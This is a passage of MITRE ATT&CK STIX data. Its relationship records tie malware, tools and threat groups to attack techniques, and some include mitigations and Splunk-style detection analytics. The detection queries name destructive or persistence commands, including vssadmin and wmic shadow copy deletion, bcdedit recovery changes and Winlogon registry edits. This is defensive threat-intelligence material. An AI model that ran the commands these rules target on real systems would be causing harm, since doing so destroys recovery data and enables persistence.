recovering systems after an attack. The pseudo code detection focus on Windows Security and Sysmon process creation (4688 and 1). The use of wmic to delete shadow copy generates WMI-Activity Operationnal 5857 event and could generate 5858 (if the operation fails). These 2 EventIDs could be interesting when attackers use wmic without process creation and/or for forensics.\n\nAnalytic 1 - Detecting Shadow Copy Deletion or Resize\n \n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")(CommandLine=\"*vssadmin* *delete* *shadows*\" OR CommandLine=\"*wmic* *shadowcopy* *delete*\" OR CommandLine=\"*vssadmin* *resize* *shadowstorage*\")) OR (EventCode=\"5857\" ProviderName=\"MSVSS__PROVIDER\") OR (EventCode=\"5858\" Operation=\"*Win32_ShadowCopy*\")</code>\n\nAnalytic 2 - BCDEdit Failure Recovery Modification\n \n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"C:\\Windows\\System32\\bcdedit.exe\" AND CommandLine=\"*recoveryenabled*\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--019e35b8-cec3-45e0-b297-19dca59b3190", "created": "2022-01-11T15:20:42.371Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta Winnti April 2015", "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", "url": "https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:02:53.984Z", "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) can use Native API to create a new process and to start services.(Citation: Novetta Winnti April 2015)", "relationship_type": "uses", "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--019eb3cf-35df-4109-a006-1b91331866c3", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf", "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", "source_name": "Microsoft SIR Vol 21"}, {"url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha", "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", "source_name": "Microsoft Wingbird Nov 2017"}], "modified": "2019-10-30T12:41:28.914Z", "description": "[Wingbird](https://attack.mitre.org/software/S0176) drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.(Citation: Microsoft SIR Vol 21)(Citation: Microsoft Wingbird Nov 2017)", "relationship_type": "uses", "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", "target_ref": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01a01a28-19e5-4e32-8a24-a98f2b69ced5", "type": "relationship", "created": "2020-05-06T21:01:23.656Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Attor Oct 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.656Z", "description": "[Attor](https://attack.mitre.org/software/S0438) has a plugin that enumerates files with specific extensions on all hard disk drives and stores file information in encrypted log files.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01a1c2f4-ccb3-4238-9c9c-d6ca3a098ed9", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", "source_name": "GitHub Pupy"}], "modified": "2019-04-24T17:52:47.856Z", "description": "[Pupy](https://attack.mitre.org/software/S0192) has a built-in module for port scanning.(Citation: GitHub Pupy)", "relationship_type": "uses", "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01a603b5-a9b1-4567-864d-6dfaa0430057", "type": "relationship", "created": "2019-07-15T16:18:21.093Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T17:11:01.098Z", "description": "Ensure all application component binaries are signed by the correct application developers.", "relationship_type": "mitigates", "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01aac35b-55e1-40d6-962f-5b5a6efdb2be", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "S2 Grupo TrickBot June 2017", "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}, {"source_name": "Fidelis TrickBot Oct 2016", "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"}, {"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}, {"source_name": "Eclypsium Trickboot December 2020", "url": "https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf", "description": "Eclypsium, Advanced Intelligence. (2020, December 1). TRICKBOT NOW OFFERS \u2018TRICKBOOT\u2019: PERSIST, BRICK, PROFIT. Retrieved March 15, 2021."}], "modified": "2021-03-15T19:28:36.607Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) gathers the OS version, machine name, CPU type, amount of RAM available, and UEFI/BIOS firmware information from the victim\u2019s machine.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: Cyberreason Anchor December 2019)(Citation: Eclypsium Trickboot December 2020)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}, {"source_name": "Microsoft DTC", "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T19:53:58.832Z", "description": "[Misdat](https://attack.mitre.org/software/S0083) saves itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.(Citation: Cylance Dust Storm)(Citation: Microsoft DTC)", "relationship_type": "uses", "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01b13af3-d241-47ed-b351-e83604c0d92f", "type": "relationship", "created": "2019-06-28T16:02:08.282Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. 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(2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}], "modified": "2020-12-28T22:09:15.760Z", "description": "[MoleNet](https://attack.mitre.org/software/S0553) can collect information about the about the system.(Citation: Cybereason Molerats Dec 2020)", "relationship_type": "uses", "source_ref": "malware--8a59f456-79a0-4151-9f56-9b1a67332af2", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01b5af07-512b-4b60-ba2d-5c185b80fb5f", "type": "relationship", "created": "2020-10-22T20:25:26.534Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Recorded Future Turla Infra 2020", "url": "https://www.recordedfuture.com/turla-apt-infrastructure/", "description": "Insikt Group. (2020, March 12). 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Retrieved October 20, 2020."}], "modified": "2020-10-22T20:25:26.534Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has frequently used compromised WordPress sites for C2 infrastructure.(Citation: Recorded Future Turla Infra 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01b924d7-42dd-412f-a9af-cabcb46512ea", "type": "relationship", "created": "2017-05-31T21:33:27.075Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates", "description": "DiMaggio, J. (2016, March 15). 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(2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf", "source_name": "Visa FIN6 Feb 2019"}], "modified": "2020-10-09T13:41:46.602Z", "description": "(Citation: Visa FIN6 Feb 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--01c60a20-2eff-4b4e-a15a-24e56a487b4e", "created": "2019-06-17T18:49:30.438Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro TropicTrooper 2015", "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", "url": "https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:24:22.257Z", "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) checks for the system\u2019s Windows OS version and hostname.(Citation: TrendMicro TropicTrooper 2015)", "relationship_type": "uses", "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01c6d850-03c2-4ed0-ba1d-cf2cc9062106", "type": "relationship", "created": "2019-05-02T01:07:37.002Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shaheen Nov 2018", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}], "modified": "2019-06-12T20:05:18.331Z", "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) gathers the username from the system.(Citation: Cylance Shaheen Nov 2018)", "relationship_type": "uses", "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--01c982c2-f610-443f-ae60-1b4a1f508f81", "created": "2020-05-13T19:06:23.934Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Group IB Silence Sept 2018", "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. 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(2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}, {"source_name": "Volexity Patchwork June 2018", "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}], "modified": "2020-03-18T18:37:06.748Z", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used Visual Basic Scripts (VBS) on victim machines.(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--01d9bce9-9ae9-4167-b279-0f0ee4e6b263", "created": "2024-04-17T20:58:50.472Z", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}, {"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T20:58:50.472Z", "description": "[BUSHWALK](https://attack.mitre.org/software/S1118) can write malicious payloads sent through a web request\u2019s command parameter.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "malware--29a0bb87-1162-4c83-9834-2a98a876051b", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--01dc8f01-b295-4b1f-b943-a347fdfebe95", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft 4657 APR 2017", "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.", "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:44:32.676Z", "description": "Monitor for changes made to windows registry keys or values. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nDetection of modification of the registry key values of\u00a0Notify,\u00a0Userinit, and\u00a0Shell\u00a0located in\u00a0HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\u00a0and\u00a0HKEY_LOCAL_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\. When a user logs on, the Registry key values of\u00a0Notify,\u00a0Userinit\u00a0and\u00a0Shell\u00a0are used to load dedicated Windows component. Attackers may insert malicious payload following the legitimate value to launch a malicious payload.\n\nDetection of the modification of the registry key\u00a0Common Startup\u00a0located in\u00a0HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\\u00a0and\u00a0HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\. When a user logs on, any files located in the Startup Folder are launched. Attackers may modify these folders with other files in order to evade detection set on these default folders. This detection focuses on EventIDs 4688 and 1 for process creation and EventID 4657 for the modification of the Registry Keys.\n\nAnalytic 1 - Registry Edit with Modification of Userinit, Shell or Notify\n\n<code>source=\"*WinEventLog:Security\" EventCode=\"4657\" (ObjectValueName=\"Userinit\" OR ObjectValueName=\"Shell\" OR ObjectValueName=\"Notify\") OR source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"13\" (TargetObject=\"*Userinit\" OR TargetObject=\"*Shell\" OR TargetObject=\"*Notify\")</code>\n\nAnalytic 2 - Modification of Default Startup Folder in the Registry Key 'Common Startup'\n\n<code>(source=\"*WinEventLog:Security\" EventCode=\"4657\" ObjectValueName=\"Common Startup\") OR (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"13\" TargetObject=\"*Common Startup\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2018-10-17T00:14:20.652Z", "description": "[ifconfig](https://attack.mitre.org/software/S0101) can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.", "relationship_type": "uses", "source_ref": "tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01e22d76-e2ee-407a-834f-e3428df142ba", "type": "relationship", "created": "2021-07-27T13:30:20.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}], "modified": "2021-07-27T13:30:20.915Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used the ntdsutil.exe utility to export the Active Directory database for credential access.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01e4bf9a-3d9c-4381-aa9c-cca73376c771", "type": "relationship", "created": "2019-01-29T17:59:44.424Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", "source_name": "GDATA Zeus Panda June 2017"}], "modified": "2019-04-16T20:55:20.157Z", "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) hooks processes by leveraging its own IAT hooked functions.(Citation: GDATA Zeus Panda June 2017)", "relationship_type": "uses", "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01eb6d18-bb7b-4e4a-b133-60407f40773b", "type": "relationship", "created": "2019-01-30T20:01:45.452Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", "source_name": "Cybereason Oceanlotus May 2017"}, {"source_name": "Securelist Denis April 2017", "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/", "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."}, {"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-19T20:39:21.916Z", "description": "[Denis](https://attack.mitre.org/software/S0354) has used DNS tunneling for C2 communications.(Citation: Cybereason Oceanlotus May 2017)(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01ebd689-8233-409a-a12d-eafb2546f665", "type": "relationship", "created": "2020-06-02T18:46:58.612Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 CARROTBAT January 2020", "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}], "modified": "2020-06-15T15:17:10.123Z", "description": "[SYSCON](https://attack.mitre.org/software/S0464) has the ability to use [Systeminfo](https://attack.mitre.org/software/S0096) to identify system information.(Citation: Unit 42 CARROTBAT January 2020)", "relationship_type": "uses", "source_ref": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--01eddb48-5116-494c-9d1c-2ace79b28530", "created": "2023-12-06T20:20:04.359Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sygnia Emperor Dragonfly October 2022", "description": "Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.", "url": "https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}, {"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-22T18:42:14.656Z", "description": "[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used [Impacket](https://attack.mitre.org/software/S0357) for lateral movement via WMI.(Citation: Microsoft Ransomware as a Service)(Citation: Sygnia Emperor Dragonfly October 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 